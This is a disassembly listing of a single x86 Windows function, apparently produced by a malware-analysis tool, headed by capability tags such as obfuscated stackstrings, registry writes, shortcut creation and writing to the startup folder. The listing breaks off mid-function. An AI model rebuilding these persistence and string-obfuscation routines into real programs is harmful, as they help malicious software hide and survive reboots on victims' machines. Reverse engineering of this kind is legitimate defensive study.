Function at 0x445000
Capabilities:
Contain obfuscated stackstrings
Copy file
Create process on windows
Create shortcut via ishelllink
Get common file path
Get session user name
Get startup folder
Set registry value
Write file to startup folder

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x507f5a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x9a0
push ebx
xor eax, eax
mov dword [ebp - 0x14], 0
push esi
push edi
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x70], eax
sub esp, 0x18
mov dword [ebp - 4], 7
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.00465e10
lea eax, [ebp - 0x580]
mov ecx, 0x5183b0
push eax
call fcn.00444f90
push eax
lea ecx, [ebp + 8]
call fcn.00465c90
lea ecx, [ebp - 0x580]
call fcn.00402660
mov ecx, 0x5360f0
call fcn.00463600
test al, al
je 0x447b81
mov ecx, 0x5360f0
call fcn.00463630
test al, al
jne 0x447b81
lea eax, [ebp - 0x47c]
mov ecx, 0x5360f0
push eax
call fcn.00463490
lea eax, [ebp - 0x5b0]
mov ecx, 0x5360f0
push eax
call fcn.00463420
lea eax, [ebp - 0x5b0]
push eax
lea ecx, [ebp - 0x47c]
call fcn.00467330
test al, al
jne 0x447b81
mov ebx, dword [ebp - 0xdc]
lea ecx, [ebp - 0x47c]
call fcn.00462b60
lea ecx, [ebp - 0x1a5]
mov dword [ebp - 0x1a5], 0x44764c4b
mov esi, eax
mov dword [ebp - 0x1a1], 0x48414a
mov byte [ebp - 0x19d], 1
call fcn.0040b8b0
push eax
mov ecx, esi
call fcn.00469ec0
lea ecx, [ebp - 0x580]
push ecx
mov ecx, eax
call fcn.0046a000
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x1ca]
mov dword [ebp - 0x1ca], 0x47764c4b
mov dword [ebp - 0x1c6], 0x5d465e4a
mov word [ebp - 0x1c2], 0x100
call fcn.0040ee70
push eax
mov ecx, esi
call fcn.00469ec0
lea ecx, [ebp - 0x620]
push ecx
mov ecx, eax
call fcn.0046a000
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x17b]
mov dword [ebp - 0x17b], 0x4d764c4b
mov dword [ebp - 0x177], 0x100434e
call fcn.00410550
push eax
mov ecx, esi
call fcn.00469ec0
lea ecx, [ebp - 0x43c]
push ecx
mov ecx, eax
call fcn.0046a000
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x173]
mov dword [ebp - 0x173], 0x5f764c4b
mov dword [ebp - 0x16f], 0x1004059
call fcn.00410550
push eax
mov ecx, esi
call fcn.00469ec0
lea ecx, [ebp - 0x568]
push ecx
mov ecx, eax
call fcn.0046a000
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x3d]
movaps xmm0, xmmword [0x525c60]
movups xmmword [ebp - 0x3d], xmm0
mov dword [ebp - 0x2d], 0x404a43
mov byte [ebp - 0x29], 1
call fcn.0040ef30
push eax
mov ecx, esi
call fcn.00469ec0
mov ecx, eax
call fcn.0046a130
movaps xmm0, xmmword [0x525e40]
lea ecx, [ebp - 0x3e]
mov byte [ebp - 0x44], al
movups xmmword [ebp - 0x3e], xmm0
mov dword [ebp - 0x2e], 0x485c5442
mov word [ebp - 0x2a], 0x100
call fcn.0040efc0
push eax
mov ecx, esi
call fcn.00469ec0
mov ecx, eax
call fcn.0046a130
mov byte [ebp - 0x46], al
movaps xmm0, xmmword [0x5264b0]
lea ecx, [ebp - 0x3a]
movups xmmword [ebp - 0x3a], xmm0
mov word [ebp - 0x2a], 0x100
call fcn.0040ee10
push eax
mov ecx, esi
call fcn.00469ec0
mov ecx, eax
call fcn.0046a130
mov byte [ebp - 0x45], al
lea ecx, [ebp - 0x43c]
lea eax, [ebp - 0x4c8]
push eax
call fcn.00465960
lea ecx, [ebp - 0x43c]
mov edi, dword [eax]
lea eax, [ebp - 0x550]
push eax
call fcn.00465940
lea ecx, [ebp - 0x43c]
mov esi, dword [eax]
lea eax, [ebp - 0x54c]
push eax
call fcn.00465960
push edi
push esi
mov edx, fcn.004e2e0e
lea ecx, [ebp - 0x300]
push dword [eax]
call fcn.0046a940
add esp, 0xc
mov word [ebp - 0x1f], 7
lea ecx, [ebp - 0x1f]
mov byte [ebp - 0x1d], 1
call fcn.00463140
lea ecx, [ebp - 0x43c]
call fcn.004027a0
lea ecx, [ebp - 0x1f]
push ecx
push eax
call fcn.004de700
add esp, 8
test eax, eax
je 0x4453b8
push ebx
lea ecx, [ebp - 0x248]
call fcn.00402810
push 0
push 0x5204b8
lea ecx, [ebp - 0x248]
mov byte [ebp - 4], 0xc
call fcn.00402830
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x49]
mov word [ebp - 0x49], 7
mov byte [ebp - 0x47], 1
call fcn.00463140
push dword [ebp - 0x300]
lea ecx, [ebp - 0x2b8]
call fcn.00402810
lea ecx, [ebp - 0x49]
mov byte [ebp - 4], 0xe
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x445334
sub ecx, edx
lea eax, [ebp - 0x49]
push ecx
push eax
lea ecx, [ebp - 0x2b8]
call fcn.00402830
lea eax, [ebp - 0x248]
mov byte [ebp - 4], 0xf
push eax
lea edx, [ebp - 0x2b8]
lea ecx, [ebp - 0x43c]
call fcn.0040c730
add esp, 4
lea ecx, [ebp - 0x2b8]
call fcn.00402660
lea ecx, [ebp - 0x248]
mov byte [ebp - 4], 0xb
call fcn.00402660
lea ecx, [ebp - 0x1f]
mov word [ebp - 0x1f], 7
mov byte [ebp - 0x1d], 1
call fcn.00463140
lea ecx, [ebp - 0x43c]
call fcn.004027a0
lea ecx, [ebp - 0x1f]
push ecx
push eax
call fcn.004de700
add esp, 8
test eax, eax
jne 0x4452e1
sub esp, 0x18
mov word [ebp - 0xc3], 0xb
lea ecx, [ebp - 0xc3]
mov byte [ebp - 0xc1], 1
xor bl, bl
mov dword [ebp - 0x18], esp
mov esi, esp
call fcn.0040a410
push eax
mov ecx, esi
call fcn.00402700
sub esp, 0x18
mov byte [ebp - 4], 0x10
lea eax, [ebp - 0x43c]
mov ecx, esp
push eax
call fcn.00465e10
lea ecx, [ebp - 0x2c4]
mov byte [ebp - 4], 0xb
call fcn.0040c430
add esp, 0x30
lea ecx, [ebp - 0x2c4]
mov byte [ebp - 4], 0x11
xor esi, esi
call fcn.00464a50
test eax, eax
je 0x44544f
push esi
lea ecx, [ebp - 0x2c4]
call fcn.00464a30
lea edx, [ebp + 8]
mov ecx, eax
call fcn.00469e90
test al, al
jne 0x44544d
lea ecx, [ebp - 0x2c4]
inc esi
call fcn.00464a50
cmp esi, eax
jb 0x445421
jmp 0x44544f
mov bl, 1
mov ecx, dword [ebp - 0x2c0]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x2c4]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x445476
test bl, bl
je 0x447b1b
sub esp, 0x18
mov word [ebp - 0xae], 0xb
lea ecx, [ebp - 0xae]
mov byte [ebp - 0xac], 1
xor bl, bl
mov dword [ebp - 0x18], esp
mov esi, esp
call fcn.0040a410
push eax
mov ecx, esi
call fcn.00402700
sub esp, 0x18
mov byte [ebp - 4], 0x12
lea eax, [ebp - 0x620]
mov ecx, esp
push eax
call fcn.00465e10
lea ecx, [ebp - 0x2fc]
mov byte [ebp - 4], 0x11
call fcn.0040c430
add esp, 0x30
xor ecx, ecx
mov byte [ebp - 4], 0x13
mov edi, dword [ebp - 0x2f8]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x2fc]
mov dword [ebp - 0x24], ecx
mov ecx, edi
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x44660d
nop word [eax + eax]
mov edi, dword [ebp - 0x24]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x18], esp
lea eax, [edi + edi*2]
lea eax, [esi + eax*8]
push eax
call fcn.00465e10
sub esp, 0x10
mov byte [ebp - 4], 0x14
lea eax, [ebp + 0x20]
mov ecx, esp
push eax
call fcn.00463910
lea ecx, [ebp - 0x360]
mov byte [ebp - 4], 0x13
call fcn.00414090
add esp, 0x28
xor edx, edx
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x360]
call fcn.0046a0f0
test al, al
je 0x4465d0
movaps xmm0, xmmword [0x526790]
lea ecx, [ebp - 0x3c]
movups xmmword [ebp - 0x3c], xmm0
mov dword [ebp - 0x2c], 0x1004b52
call fcn.00462e10
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x360]
call fcn.00469ec0
lea edx, [ebp - 0x41]
mov ecx, eax
call fcn.00479b60
movaps xmm0, xmmword [0x5259f0]
lea ecx, [ebp - 0x3e]
movups xmmword [ebp - 0x3e], xmm0
mov dword [ebp - 0x2e], 0x495d4a58
mov word [ebp - 0x2a], 0x100
call fcn.00462d20
lea eax, [ebp - 0x3e]
push eax
lea ecx, [ebp - 0x360]
call fcn.00469ec0
lea edx, [ebp - 0x42]
mov ecx, eax
call fcn.00479b60
movaps xmm0, xmmword [0x5263b0]
lea ecx, [ebp - 0x3c]
movups xmmword [ebp - 0x3c], xmm0
mov dword [ebp - 0x2c], 0x1004145
call fcn.00462e10
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x360]
call fcn.00469ec0
lea edx, [ebp - 0x43]
mov ecx, eax
call fcn.00479b60
lea ecx, [ebp - 0x16b]
mov dword [ebp - 0x16b], 0x415b494a
mov dword [ebp - 0x167], 0x43424874
mov dword [ebp - 0x163], 0x415f594e
mov word [ebp - 0x15f], 0x100
call fcn.00462e40
lea eax, [ebp - 0x16b]
push eax
lea ecx, [ebp - 0x360]
call fcn.00469ec0
lea ecx, [ebp - 0x248]
push ecx
mov ecx, eax
call fcn.0046a000
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x4c]
mov word [ebp - 0x4c], 0xb
mov byte [ebp - 0x4a], 1
call fcn.00463140
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x58], esi
mov ecx, esi
push dword [ebp - 0x58]
call fcn.00402810
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 0x17
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x445680
sub ecx, edx
lea eax, [ebp - 0x4c]
push ecx
push eax
mov ecx, esi
call fcn.00402830
sub esp, 0x18
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0x248]
mov ecx, esp
push eax
call fcn.00465e10
lea ecx, [ebp - 0x2d0]
mov byte [ebp - 4], 0x16
call fcn.0040c430
add esp, 0x30
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x193]
mov byte [ebp - 0xd], 0
mov dword [ebp - 0x193], 0x415b494a
mov dword [ebp - 0x18f], 0x5b424f74
mov dword [ebp - 0x18b], 0x5b434441
mov dword [ebp - 0x187], 0x1004756
call fcn.00462cc0
lea eax, [ebp - 0x193]
push eax
lea ecx, [ebp - 0x360]
call fcn.00469ec0
lea ecx, [ebp - 0x2b8]
push ecx
mov ecx, eax
call fcn.0046a000
mov byte [ebp - 4], 0x1a
cmp dword [ebp - 0x2a8], 0
je 0x4457f7
sub esp, 0x18
mov word [ebp - 0xab], 0xb
lea ecx, [ebp - 0xab]
mov byte [ebp - 0xa9], 1
mov esi, esp
mov dword [ebp - 0x1c], esp
call fcn.0040a410
push eax
mov ecx, esi
call fcn.00402700
sub esp, 0x18
mov byte [ebp - 4], 0x1b
lea eax, [ebp - 0x2b8]
mov ecx, esp
push eax
call fcn.00465e10
lea ecx, [ebp - 0x34c]
mov byte [ebp - 4], 0x1a
call fcn.0040c430
mov esi, dword [ebp - 0x34c]
xor ecx, ecx
mov dword [ebp - 0x18], ecx
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x348]
add esp, 0x30
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4457e2
xor edi, edi
lea eax, [ebp + 8]
lea ecx, [edi + esi]
push eax
call fcn.0046d630
test al, al
jne 0x4457de
mov ecx, dword [ebp - 0x348]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x34c]
add edi, 0x18
inc dword [ebp - 0x18]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x18], eax
jb 0x4457a2
jmp 0x4457e2
mov byte [ebp - 0xd], 1
lea ecx, [ebp - 0x34c]
call fcn.00468000
cmp byte [ebp - 0xd], 0
je 0x4465ac
cmp dword [ebp - 0x238], 0
je 0x4465aa
cmp byte [ebp - 0x41], 0
je 0x445e5a
lea ecx, [ebp + 0x30]
call fcn.004633f0
test eax, eax
je 0x445b22
lea eax, [ebp - 0x340]
push eax
lea ecx, [ebp + 0x30]
call fcn.0046a1b0
lea eax, [ebp - 0x218]
mov byte [ebp - 4], 0x1c
push eax
lea ecx, [ebp - 0x340]
call fcn.00463220
lea eax, [ebp - 0x249]
push eax
lea ecx, [ebp - 0x340]
call fcn.00463210
mov eax, dword [ebp - 0x218]
cmp byte [eax + 0xd], 0
jne 0x445b13
test bl, bl
jne 0x445b13
cmp byte [eax + 0x28], bl
lea esi, [eax + 0x28]
je 0x445af8
mov ecx, esi
call fcn.004633f0
test eax, eax
je 0x445af8
lea eax, [ebp - 0x49c]
mov ecx, esi
push eax
call fcn.00463490
lea eax, [ebp - 0x590]
mov ecx, esi
push eax
call fcn.00463420
lea eax, [ebp - 0x590]
push eax
lea ecx, [ebp - 0x49c]
call fcn.00467330
test al, al
jne 0x445af8
nop
lea ecx, [ebp - 0x49c]
call fcn.00462b60
test bl, bl
jne 0x445af8
lea ecx, [ebp - 0x308]
push ecx
mov ecx, eax
call fcn.0046a1b0
lea eax, [ebp - 0x214]
mov byte [ebp - 4], 0x1d
push eax
lea ecx, [ebp - 0x308]
call fcn.00463220
lea eax, [ebp - 0x20d]
push eax
lea ecx, [ebp - 0x308]
call fcn.00463210
mov eax, dword [ebp - 0x214]
cmp byte [eax + 0xd], bl
jne 0x445ac4
test bl, bl
jne 0x445ac4
lea esi, [eax + 0x28]
mov ecx, esi
call fcn.004633f0
test eax, eax
je 0x445aa9
lea eax, [ebp - 0x4ac]
mov ecx, esi
push eax
call fcn.00463490
lea eax, [ebp - 0x5a0]
mov ecx, esi
push eax
call fcn.00463420
lea eax, [ebp - 0x5a0]
push eax
lea ecx, [ebp - 0x4ac]
call fcn.00467330
test al, al
jne 0x445aa9
nop dword [eax + eax]
lea ecx, [ebp - 0x4ac]
call fcn.00462b60
mov esi, eax
test bl, bl
jne 0x445aa9
push dword [ebp - 0x58]
lea ecx, [ebp - 0xa8]
call fcn.00402810
push 0
push 0x5204b8
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0x1e
call fcn.00402830
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0xec]
mov dword [ebp - 0xec], 0x4b444743
mov dword [ebp - 0xe8], 0x1004242
call fcn.00462c60
lea eax, [ebp - 0xec]
mov ecx, esi
push eax
call fcn.00469ec0
cmp byte [eax], bl
je 0x445a17
lea ecx, [ebp - 0xce]
mov dword [ebp - 0xce], 0x4b444743
mov dword [ebp - 0xca], 0x1004242
call fcn.00462c60
lea eax, [ebp - 0xce]
mov ecx, esi
push eax
call fcn.00469ec0
push eax
lea ecx, [ebp - 0xa8]
call fcn.0046a240
lea ecx, [ebp - 0x5f]
mov word [ebp - 0x5f], 9
mov byte [ebp - 0x5d], 1
call fcn.00463140
sub esp, 0x18
lea eax, [ebp - 0xa8]
mov ecx, esp
mov dword [ebp - 0x1c], esp
lea edx, [ebp - 0x5f]
push eax
call fcn.00469c10
sub esp, 8
mov byte [ebp - 4], 0x20
lea eax, [ebp - 0x2d0]
mov byte [ebp - 0xd], 0
mov ecx, esp
push eax
call fcn.00464b50
mov cl, byte [ebp - 0xd]
mov byte [ebp - 4], 0x1f
call fcn.004142f0
add esp, 0x24
movzx ebx, bl
test al, al
mov byte [ebp - 4], 0x1d
mov eax, 1
lea ecx, [ebp - 0xa8]
cmovne ebx, eax
call fcn.00402660
lea ecx, [ebp - 0x4ac]
call fcn.00462b10
lea eax, [ebp - 0x5a0]
push eax
lea ecx, [ebp - 0x4ac]
call fcn.00467330
test al, al
je 0x445970
lea ecx, [ebp - 0x214]
call fcn.004672c0
mov eax, dword [ebp - 0x214]
cmp byte [eax + 0xd], 0
je 0x445918
lea ecx, [ebp - 0x308]
mov byte [ebp - 4], 0x1c
call fcn.0041c300
lea ecx, [ebp - 0x49c]
call fcn.00462b10
lea eax, [ebp - 0x590]
push eax
lea ecx, [ebp - 0x49c]
call fcn.00467330
test al, al
je 0x4458c0
lea ecx, [ebp - 0x218]
call fcn.004672c0
mov eax, dword [ebp - 0x218]
cmp byte [eax + 0xd], 0
je 0x445865
lea ecx, [ebp - 0x340]
mov byte [ebp - 4], 0x1a
call fcn.0041c300
test bl, bl
jne 0x445e5a
lea ecx, [ebp + 0x40]
call fcn.004633f0
test eax, eax
je 0x445e5a
lea eax, [ebp - 0x318]
push eax
lea ecx, [ebp + 0x40]
call fcn.0046a1b0
lea eax, [ebp - 0x220]
mov byte [ebp - 4], 0x21
push eax
lea ecx, [ebp - 0x318]
call fcn.00463220
lea eax, [ebp - 0x20e]
push eax
lea ecx, [ebp - 0x318]
call fcn.00463210
mov eax, dword [ebp - 0x220]
cmp byte [eax + 0xd], bl
jne 0x445e4f
test bl, bl
jne 0x445e4f
cmp byte [eax + 0x28], bl
lea esi, [eax + 0x28]
je 0x445e34
mov ecx, esi
call fcn.004633f0
test eax, eax
je 0x445e34
lea eax, [ebp - 0x48c]
mov ecx, esi
push eax
call fcn.00463490
lea eax, [ebp - 0x5c0]
mov ecx, esi
push eax
call fcn.00463420
lea eax, [ebp - 0x5c0]
push eax
lea ecx, [ebp - 0x48c]
call fcn.00467330
test al, al
jne 0x445e34
mov edi, dword [ebp - 0x28]
nop dword [eax]
lea ecx, [ebp - 0x48c]
call fcn.00462b60
mov esi, eax
test bl, bl
jne 0x445e34
lea ecx, [ebp - 0x310]
mov byte [ebp - 4], 0x22
call fcn.0046d110
or edi, 0x40
lea edx, [ebp - 0x310]
mov ecx, esi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x70], edi
call fcn.00479be0
mov eax, dword [ebp - 0x310]
lea ecx, [ebp - 0x21c]
push 0
push dword [eax]
call fcn.00467320
mov eax, dword [ebp - 0x21c]
cmp byte [eax + 0xd], bl
jne 0x445df7
mov edi, 1
test bl, bl
jne 0x445df4
lea esi, [eax + 0x28]
mov ecx, esi
call fcn.004633f0
test eax, eax
je 0x445dd9
push esi
lea ecx, [ebp - 0x3e4]
call fcn.00467460
lea ecx, [ebp - 0x3e4]
call fcn.00467420
push esi
lea ecx, [ebp - 0x518]
call fcn.00467460
lea ecx, [ebp - 0x518]
call fcn.004673f0
lea eax, [ebp - 0x518]
push eax
lea ecx, [ebp - 0x3e4]
call fcn.00467330
test al, al
jne 0x445dd9
lea ecx, [ebp - 0x3e4]
call fcn.00462b60
mov esi, eax
test bl, bl
jne 0x445dd9
push dword [ebp - 0x58]
lea ecx, [ebp - 0xa8]
call fcn.00402810
push 0
push 0x5204b8
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0x23
call fcn.00402830
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0xe4]
mov dword [ebp - 0xe4], 0x4b444743
mov dword [ebp - 0xe0], 0x1004242
call fcn.00462c60
lea eax, [ebp - 0xe4]
mov ecx, esi
push eax
call fcn.00469ec0
cmp byte [eax], bl
je 0x445d4c
lea ecx, [ebp - 0xd6]
mov dword [ebp - 0xd6], 0x4b444743
mov dword [ebp - 0xd2], 0x1004242
call fcn.00462c60
lea eax, [ebp - 0xd6]
mov ecx, esi
push eax
call fcn.00469ec0
push eax
lea ecx, [ebp - 0xa8]
call fcn.00470ef0
lea ecx, [ebp - 0x62]
mov word [ebp - 0x62], 9
mov byte [ebp - 0x60], 1
call fcn.00463140
sub esp, 0x18
lea eax, [ebp - 0xa8]
mov ecx, esp
mov dword [ebp - 0x1c], esp
lea edx, [ebp - 0x62]
push eax
call fcn.00469c10
sub esp, 8
mov byte [ebp - 4], 0x25
lea eax, [ebp - 0x2d0]
mov byte [ebp - 0xd], 0
mov ecx, esp
push eax
call fcn.00464b50
mov cl, byte [ebp - 0xd]
mov byte [ebp - 4], 0x24
call fcn.004142f0
add esp, 0x24
movzx ebx, bl
test al, al
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0xa8]
cmovne ebx, edi
call fcn.00402660
lea ecx, [ebp - 0x3e4]
call fcn.00462b10
lea eax, [ebp - 0x518]
push eax
lea ecx, [ebp - 0x3e4]
call fcn.00467330
test al, al
je 0x445ca5
lea ecx, [ebp - 0x21c]
call fcn.004672c0
mov eax, dword [ebp - 0x21c]
cmp byte [eax + 0xd], 0
je 0x445c43
mov edi, dword [ebp - 0x28]
and edi, 0xffffffbf
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x310]
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x70], edi
call fcn.0041c300
lea ecx, [ebp - 0x48c]
call fcn.00462b10
lea eax, [ebp - 0x5c0]
push eax
lea ecx, [ebp - 0x48c]
call fcn.00467330
test al, al
je 0x445be0
lea ecx, [ebp - 0x220]
call fcn.004672c0
mov eax, dword [ebp - 0x220]
cmp byte [eax + 0xd], 0
je 0x445b80
lea ecx, [ebp - 0x318]
call fcn.0041c300
cmp byte [ebp - 0x42], 0
je 0x446263
test bl, bl
jne 0x446263
lea ecx, [ebp + 0x50]
call fcn.004633f0
test eax, eax
je 0x44605e
lea ecx, [ebp - 0x320]
mov byte [ebp - 4], 0x26
call fcn.0046d110
mov esi, dword [ebp - 0x28]
lea edx, [ebp - 0x320]
or esi, 0x80
lea ecx, [ebp + 0x50]
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x70], esi
call fcn.00479be0
mov eax, dword [ebp - 0x320]
lea ecx, [ebp - 0x224]
push 0
push dword [eax]
call fcn.00467320
mov eax, dword [ebp - 0x224]
cmp byte [eax + 0xd], bl
jne 0x446047
nop dword [eax]
test bl, bl
jne 0x446044
lea esi, [eax + 0x28]
push esi
lea ecx, [ebp - 0x3f4]
call fcn.00467460
lea ecx, [ebp - 0x3f4]
call fcn.00467420
push esi
lea ecx, [ebp - 0x508]
call fcn.00467460
lea ecx, [ebp - 0x508]
call fcn.004673f0
lea eax, [ebp - 0x508]
push eax
lea ecx, [ebp - 0x3f4]
call fcn.00467330
test al, al
jne 0x446029
lea ecx, [ebp - 0x3f4]
call fcn.00462b60
mov esi, eax
test bl, bl
jne 0x446029
push dword [ebp - 0x58]
lea ecx, [ebp - 0xa8]
call fcn.00402810
push 0
push 0x5204b8
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0x27
call fcn.00402830
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x75]
mov dword [ebp - 0x75], 0x455a52
mov byte [ebp - 0x71], 1
call fcn.004631e0
lea eax, [ebp - 0x75]
mov ecx, esi
push eax
call fcn.00469ec0
cmp byte [eax], bl
je 0x445fac
lea ecx, [ebp - 0x7a]
mov dword [ebp - 0x7a], 0x455a52
mov byte [ebp - 0x76], 1
call fcn.004631e0
lea eax, [ebp - 0x7a]
mov ecx, esi
push eax
call fcn.00469ec0
push eax
lea ecx, [ebp - 0xa8]
call fcn.00470ef0
sub esp, 0x18
lea eax, [ebp - 0xa8]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call fcn.00465e10
sub esp, 0xc
mov byte [ebp - 4], 0x29
lea eax, [ebp - 0x2d0]
mov byte [ebp - 0xd], 1
mov ecx, esp
push eax
call fcn.00464b50
mov cl, byte [ebp - 0xd]
mov byte [ebp - 4], 0x28
call fcn.004142f0
add esp, 0x24
movzx ebx, bl
test al, al
mov byte [ebp - 4], 0x26
mov eax, 1
lea ecx, [ebp - 0xa8]
cmovne ebx, eax
call fcn.00402660
lea ecx, [ebp - 0x3f4]
call fcn.00462b10
lea eax, [ebp - 0x508]
push eax
lea ecx, [ebp - 0x3f4]
call fcn.00467330
test al, al
je 0x445f23
lea ecx, [ebp - 0x224]
call fcn.004672c0
mov eax, dword [ebp - 0x224]
cmp byte [eax + 0xd], 0
je 0x445ed0
mov esi, dword [ebp - 0x28]
and esi, 0xffffff7f
lea ecx, [ebp - 0x320]
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x70], esi
call fcn.0041c300
test bl, bl
jne 0x446263
lea ecx, [ebp + 0x60]
call fcn.004633f0
test eax, eax
je 0x446263
lea ecx, [ebp - 0x328]
mov byte [ebp - 4], 0x2a
call fcn.0046d110
mov esi, dword [ebp - 0x14]
lea edx, [ebp - 0x328]
or esi, 0x400000
lea ecx, [ebp + 0x60]
mov dword [ebp - 0x14], esi
call fcn.00479be0
mov eax, dword [ebp - 0x328]
lea ecx, [ebp - 0x228]
push 0
push dword [eax]
call fcn.00467320
mov eax, dword [ebp - 0x228]
cmp byte [eax + 0xd], bl
jne 0x44624d
test bl, bl
jne 0x44624a
lea esi, [eax + 0x28]
push esi
lea ecx, [ebp - 0x404]
call fcn.00467460
lea ecx, [ebp - 0x404]
call fcn.00467420
push esi
lea ecx, [ebp - 0x4f8]
call fcn.00467460
lea ecx, [ebp - 0x4f8]
call fcn.004673f0
lea eax, [ebp - 0x4f8]
push eax
lea ecx, [ebp - 0x404]
call fcn.00467330
test al, al
jne 0x44622f
nop word [eax + eax]
lea ecx, [ebp - 0x404]
call fcn.00462b60
mov esi, eax
test bl, bl
jne 0x44622f
push dword [ebp - 0x58]
lea ecx, [ebp - 0xa8]
call fcn.00402810
push 0
push 0x5204b8
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0x2b
call fcn.00402830
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x7f]
mov dword [ebp - 0x7f], 0x455a52
mov byte [ebp - 0x7b], 1
call fcn.004631e0
lea eax, [ebp - 0x7f]
mov ecx, esi
push eax
call fcn.00469ec0
cmp byte [eax], bl
je 0x4461b2
lea ecx, [ebp - 0x84]
mov dword [ebp - 0x84], 0x455a52
mov byte [ebp - 0x80], 1
call fcn.004631e0
lea eax, [ebp - 0x84]
mov ecx, esi
push eax
call fcn.00469ec0
push eax
lea ecx, [ebp - 0xa8]
call fcn.00470ef0
sub esp, 0x18
lea eax, [ebp - 0xa8]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call fcn.00465e10
sub esp, 0xc
mov byte [ebp - 4], 0x2d
lea eax, [ebp - 0x2d0]
mov byte [ebp - 0xd], 1
mov ecx, esp
push eax
call fcn.00464b50
mov cl, byte [ebp - 0xd]
mov byte [ebp - 4], 0x2c
call fcn.004142f0
add esp, 0x24
movzx ebx, bl
test al, al
mov byte [ebp - 4], 0x2a
mov eax, 1
lea ecx, [ebp - 0xa8]
cmovne ebx, eax
call fcn.00402660
lea ecx, [ebp - 0x404]
call fcn.00462b10
lea eax, [ebp - 0x4f8]
push eax
lea ecx, [ebp - 0x404]
call fcn.00467330
test al, al
je 0x446120
lea ecx, [ebp - 0x228]
call fcn.004672c0
mov eax, dword [ebp - 0x228]
cmp byte [eax + 0xd], 0
je 0x4460c3
mov esi, dword [ebp - 0x14]
and esi, 0xffbfffff
lea ecx, [ebp - 0x328]
mov dword [ebp - 0x14], esi
call fcn.0041c300
jmp 0x446266
mov esi, dword [ebp - 0x14]
cmp byte [ebp - 0x43], 0
je 0x4465ac
test bl, bl
jne 0x4465ac
lea ecx, [ebp + 0x70]
call fcn.004633f0
test eax, eax
je 0x4465ac
lea ecx, [ebp - 0x338]
mov byte [ebp - 4], 0x2e
call fcn.0046d110
or esi, 0x100000
lea edx, [ebp - 0x338]
lea ecx, [ebp + 0x70]
mov dword [ebp - 0x14], esi
call fcn.00479be0
mov eax, dword [ebp - 0x338]
lea ecx, [ebp - 0x230]
push 0
push dword [eax]
call fcn.00467320
mov eax, dword [ebp - 0x230]
cmp byte [eax + 0xd], bl
jne 0x446594
test bl, bl
jne 0x446591
cmp byte [eax + 0x28], bl
lea esi, [eax + 0x28]
je 0x446576
mov ecx, esi
call fcn.004633f0
test eax, eax
je 0x446576
push esi
lea ecx, [ebp - 0x424]
call fcn.00467460
lea ecx, [ebp - 0x424]
call fcn.00467420
push esi
lea ecx, [ebp - 0x4d8]
call fcn.00467460
lea ecx, [ebp - 0x4d8]
call fcn.004673f0
lea eax, [ebp - 0x4d8]
push eax
lea ecx, [ebp - 0x424]
call fcn.00467330
test al, al
jne 0x446576
nop dword [eax]
lea ecx, [ebp - 0x424]
call fcn.00462b60
mov esi, eax
test bl, bl
jne 0x446576
lea ecx, [ebp - 0x330]
mov byte [ebp - 4], 0x2f
call fcn.0046d110
or dword [ebp - 0x14], 0x20000
lea edx, [ebp - 0x330]
mov ecx, esi
call fcn.00479be0
mov eax, dword [ebp - 0x330]
lea ecx, [ebp - 0x22c]
push 0
push dword [eax]
call fcn.00467320
mov eax, dword [ebp - 0x22c]
cmp byte [eax + 0xd], bl
jne 0x44653b
nop dword [eax]
test bl, bl
jne 0x44653b
lea esi, [eax + 0x28]
mov ecx, esi
call fcn.004633f0
test eax, eax
je 0x446520
push esi
lea ecx, [ebp - 0x414]
call fcn.00467460
lea ecx, [ebp - 0x414]
call fcn.00467420
push esi
lea ecx, [ebp - 0x4e8]
call fcn.00467460
lea ecx, [ebp - 0x4e8]
call fcn.004673f0
lea eax, [ebp - 0x4e8]
push eax
lea ecx, [ebp - 0x414]
call fcn.00467330
test al, al
jne 0x446520
lea ecx, [ebp - 0x414]
call fcn.00462b60
